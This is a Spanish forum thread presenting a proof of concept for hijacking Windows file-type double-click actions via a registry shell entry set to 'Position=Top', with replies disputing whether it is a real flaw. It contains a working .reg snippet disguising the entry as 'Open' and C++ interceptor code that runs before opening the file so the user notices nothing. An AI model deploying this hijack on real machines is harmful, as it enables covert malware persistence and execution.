[PoC] Infección de ficheros a través del registro de Windows

[ThunderCls]

Intro

En esta entrada pretendo dejar una idea o una PoC de un posible método de infección en sistemas operativos Windows siendo las versiones afectadas desde XP a 10. El sistema se basa en interceptar el inicio de una aplicación ligada a tipo de fichero especifico en el sistema y lanzar nuestro binario como intermediario antes de la ejecución del mismo. No se necesita tener nuestro binario en memoria o ejecución previa, ni siquiera se necesitan métodos de infección de ficheros de usuario o del sistema para lograr esto, solo una llave en el registro de Windows que hará la función de Hook o Interceptora.

Principios de Funcionamiento

El método se basa en el uso de llaves del registro de Windows para establecer nuestro binario como objetivo principal en lugar de la aplicación destinada o ligada a un tipo de ficheros en el SO. Windows basa gran parte de su funcionamiento en un archivo denominado Registro de Windows. El registro de Windows es una base de datos jerárquica que almacena los ajustes de configuración y opciones en los sistemas operativos Microsoft Windows. Contiene la configuración de los componentes de bajo nivel del sistema operativo, así como de las aplicaciones que hay funcionando en la plataforma: hacen uso del registro el núcleo (kernel, en inglés), los controladores de dispositivos, los servicios, el SAM, la interfaz de usuario y las aplicaciones de terceros. El registro también proporciona un medio de acceso a los contadores para generar un perfil del rendimiento del sistema.

Claves y valores

El registro contiene dos elementos básicos: claves y valores.
Las claves del registro son similares a carpetas: además de los valores, cada clave puede contener subclaves, que a su vez pueden contener más subclaves, y así sucesivamente. Las claves están referenciadas con una sintaxis parecida a los nombres de las rutas de Windows, y usan barras diagonales inversas para indicar los distintos niveles jerárquicos. Cada subclave tiene obligatoriamente un nombre: una cadena que no puede contener barras diagonales inversas y en la que no se distingue entre mayúsculas y minúsculas.

HKEY_CLASSES_ROOT (HKCR)

HKEY_CLASSES_ROOT, abreviado como HKCR, contiene información sobre aplicaciones registradas, como asociaciones de archivos e Id. de clase de objetos OLE, ligándolos a las aplicaciones utilizadas para identificar estos elementos. En Windows 2000 y versiones superiores, HKCR es una compilación de HKCU\Software\Classes basada en el usuario y de HKLM\Software\Classes basada en el equipo. Si un valor dado existe en las dos subclaves anteriores, la contenida en HKCU\Software\Classes prevalece.

Explicación del PoC

Tomando como base lo anterior para nuestra prueba de concepto, se toma la premisa que en esa raíz tenemos un listado de tipos de ficheros en el sistema y las aplicaciones ligadas a los mismos. En las claves de dichos tipos de archivos existe una subclave llamada "shell" la cual a su vez contiene otras subclaves. Dicha clave "shell" puede controlar partes de la interfaz de usuario del "shell menú" en aplicaciones y a lo largo de todo el SO. Las subclaves dentro de la clave "shell" especifican entradas adicionales en el menú para la aplicación asociada, vamos como ejemplo las siguientes imágenes

Ejemplo de clave Shell para el tipo de ficheros "txt"

Como se observa estamos en la clave referente a los tipos de fichero ".txt" y vemos a su vez la clave "shell" y las subclaves que contiene "open", "print", "printto". Como dijimos anteriormente estas entradas serán añadidas al menú de todos los ficheros ".txt" a lo largo de todo el sistema, veamos otra imagen

Entradas en el menú para tipos de ficheros "txt"

Añadiendo entradas personalizadas

Teniendo todo lo anterior en cuenta podríamos nosotros crear nuestras propias entradas en el Shell Menu de este tipo de ficheros, el procedimiento es sencillo, solo tendríamos que añadir algunos valores al registro de Windows. La estructura y tipos de claves seria la siguiente:

Clave Principal: Indica la entrada añadida
Subclave "command": Contiene una cadena especificando el comando a ejecutar una vez se ha seleccionado dicha opción del menú.
Valor MUIVerb: Contiene el titulo de la entrada
Valor Position: Posición de la entrada en el menú, posibles valores (Top/Bottom/Default)

Existen otros tipos de valores que controlan otros aspectos de la entrada en el menú contextual del fichero, pero para nuestros propósitos con estos estamos bien, veamos unas imágenes.

Nueva entrada "myentry" añadida al menu contextual de los ficheros "txt"

Entrada añadida "MiEntrada"

Vemos que la entrada se ha añadido correctamente, ha tomado el titulo que le dimos y si le damos clic se ejecutara el comando o aplicación que especificamos en la clave "command/default". Hasta aquí todo estaría bien y no hay problemas de ningún tipo, el problema surge cuando usamos un valor diferente en el valor "Position".

Explicación del "bug"

Modificando este valor y estableciendo el nuevo como "Top", causaría un efecto no deseado para el tipo de ficheros donde radica dicha entrada. Si nos fijamos en la imagen anterior podemos ver que la primera opción del menú es la que está en negritas "Abrir" y es dicha opción la que se ejecutara por defecto al hacer doble clic en el tipo de fichero, en este caso invoca la clave "open" que se encarga a su vez de lanzar la aplicación asociada. Cuando ponemos nuestra entrada como "Position:Top", veamos lo que sucede

Entrada agregada "MiEntrada" como opción por defecto

Como vemos en la imagen, dicha entrada se ha colocado como opción por defecto, por lo que si al hacer doble clic al fichero, nuestra entrada será invocada en vez de la opción "Abrir". En este punto no se si es algún tipo de "bug", problema de diseño del SO, o lo que sea por parte de Microsoft, el tema es que este tipo de comportamientos no creo que deberían ser posibles.

Aprovechando las fallas

Aprovechando lo que anterior he expuesto podemos entonces proceder a crear un binario especial que será ejecutado como opción predeterminada al intentar ejecutar un tipo de fichero especifico, seguiremos tomando como ejemplo los ficheros "txt" y veamos ahora una entrada camuflada al usuario y un ejecutable de prueba que será usado.

Entrada de Registro

Código [Seleccionar] Expandir

[HKEY_CLASSES_ROOT\txtfile\shell\myentry]
"MUIVerb"="Open"
"Position"="Top"
[HKEY_CLASSES_ROOT\txtfile\shell\myentry\command]
@="C:\\open.exe \"%1\""

He usado como target del comando un ejecutable creado en VC++ con propósitos solamente demostrativos, el código del mismo es bien sencillo y es el siguiente:

Codigo fuente binario

Código (cpp) [Seleccionar] Expandir


#include <wtypes.h>
#include <winuser.h>
#include <shellapi.h>

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE prevInstance, LPSTR lpCmdLine, int nShowCmd)
{
    LPWSTR *szArgList;
    int argCount;

    szArgList = CommandLineToArgvW(GetCommandLine(), &argCount);
    if (szArgList == NULL)
    {
       MessageBox(NULL, L"Unable to parse command line", L"Error", MB_OK);
       return 10;
    }

    /*Start on index 1 coz index 0 contains my own exe path*/
    for (int i = 1; i < argCount; i++)
    {
       MessageBox(NULL, szArgList[i], L"Execution Intercepted!", MB_OK);
       ShellExecute(NULL, L"open", szArgList[i], NULL, NULL, SW_SHOWNORMAL);
    }

    LocalFree(szArgList);
    return 0;
}


A modo groso de explicación, el binario toma lo que se le pasa por parámetro, que en nuestro caso es el fichero que se está intentando ejecutar, lanza un mensaje de intercepción de la ejecución (en cualquier otro caso pudiera existir cualquier tipo de payload o acción maliciosa o de infección), para finalmente lanzar la aplicación predeterminada y abrir el fichero y el usuario no note nada extraño.
Al tener lo anteriormente intentamos ejecutar el fichero txt y obtenemos lo siguiente.

Mensaje de intercepcion de la ejecución del fichero

Al aceptar el mensaje veremos cómo se ejecuta el notepad con el contenido del fichero que abrimos.

Palabras finales

Esto ha sido todo por esta prueba de concepto, como dije anteriormente, veo muy mal que cosas como estas se puedan hacer en el sistema, a lo mínimo, todo esto debería estar controlado, pero bueno, sabemos que no hay nada perfecto en este mundo, y quizás esto ni llegue a ser una falla, aunque si puede ser usado y aprovechado por mucho malware allá afuera. Sin más que añadir, nos vemos en otra, quizás....quien sabe.

Descarga del PoC
[Poc]RegInfection.rar
password: 123456

PD: Dudas, comentarios, etc, responder al hilo
Entrada original: hxxps://reversec0de.wordpress.com/2015/12/31/poc-infeccion-de-ficheros-a-traves-del-registro-de-windows/

[.:UND3R:.]

Increíble, muy bien explicado y claro, esto no debería permitirse, pues es gravísimo 

saludos

[Flamer]

Muy bueno amigo

Saludos Flamer y lo puedo poner en mi blog, pero no creas que va hacer copia y pega lo voy a explicar de otra forma

[Arkangel_0x7C5]

Esto tiene ya mucho tiempo, y no es un fallo, ya que para que esto funcione, primero tienes que haber conseguido ejecutar codigo por lo que esta caracteristica no es un fallo de seguridad en si.
Esto es lo que te permite que puedas configurar con que programa vas a abrir cada cosa al hacer doble click

Saludos

[Arnaldo Otegi]

Mui buena amigo,se agradece tu aporte.
Saludos makina.

[ThunderCls]

Esto tiene ya mucho tiempo

Personalmente no conocía o había leído al respecto antes, pero gracias por aclarar, si pudieras dar algun link donde leer y abarcar mas en el tema te lo agradeceria 

y no es un fallo, ya que para que esto funcione, primero tienes que haber conseguido ejecutar codigo por lo que esta caracteristica no es un fallo de seguridad en si.

Igual no asegure nunca que fuera un fallo, solo en mi opinión personal, me parece muy mal que esto no este controlado por el sistema, ya que como se ve, puede ser usado por malware con otros propósitos. Por otra parte, creo que el correcto funcionamiento de la llave "Position: Top" es el que se lleva en la clave "HKLM\\SOFTWARE\\Classes\\SystemFileAssociations\\", cuando creamos la misma estructura de llaves y claves que en HKCR, vemos que en esta ocasión no interfiere para nada en la llamada correcta de la aplicación predeterminada para abrir el fichero (En base a esto me refiero para clasificarlo como un "fallo" [VEASE LAS COMILLAS]).
Con respecto a lo de "tienes que haber conseguido ejecutar código", bueno hombre...todo exploit, malware, bug, etc, para ser aprovechado necesita ejecutar código en el sistema host, nada sale de la nada, sin acción del user 

Esto es lo que te permite que puedas configurar con que programa vas a abrir cada cosa al hacer doble click
Saludos

Para especificar las aplicaciones predeterminadas para abrir un fichero, Windows nunca utiliza esto que dices, en cambio utiliza la asociación de tipos de ficheros en el registro, esto que yo expongo es totalmente diferente a lo que te refieres, de hecho, esta opción "Abrir" es la que se supone que llama a la aplicación por defecto para el tipo de fichero que quieres abrir, el cual esta configurado de antemano en el mismo registro, en otras palabras, la opción "Abrir" nunca debe ser modificada o superpuesta por otra, como es el caso (tomar en cuenta el funcionamiento correcto que se lleva a cabo en la ruta de registro que di anteriormente) si no quieres que código malintencionado se aproveche de esta brecha, pero como dije, son solo opiniones personales. 

Saludos y gracias por comentar a todos

[Arkangel_0x7C5]

No he encontrado muchas referencias, se que lo lei hace tiempo, pero seguramente ya no exista ese foro donde lo vi. solo encontre esto

Con lo de que necesitas ejecutar codigo antes, me estoy refiriendo a que no te va a servir para infectar una maquina. tienes que haber ejecutado tu programa al menos una vez para que te funcione. Y al cambiar de maquina esos archivos son inofensivos. Por eso te digo que es infeccion entre comillas.
Y si te fijas en como funciona el registro de win, si estas cambiando la asociación de archivos que tocarias normalmente, porque la unica diferencia entre la opcion de abrir y las otras es que esta en la primera posicion y por tanto es la predeterminada, tu podrías coger y cambiar el nombre de abrir por cualquier otra cosa y mientras esta sea la primera opcion, seguiría funcionando

Saludos ark

[Flamer]

Tienes razón Arkangel, para mi  no es Bug solo es una simple técnica ya que para lograr escribir en el registro es necesario permisos de administrador.

Pero por otro lado tienes que admitir que es un buen truco y que si sirve

Saludos Flamer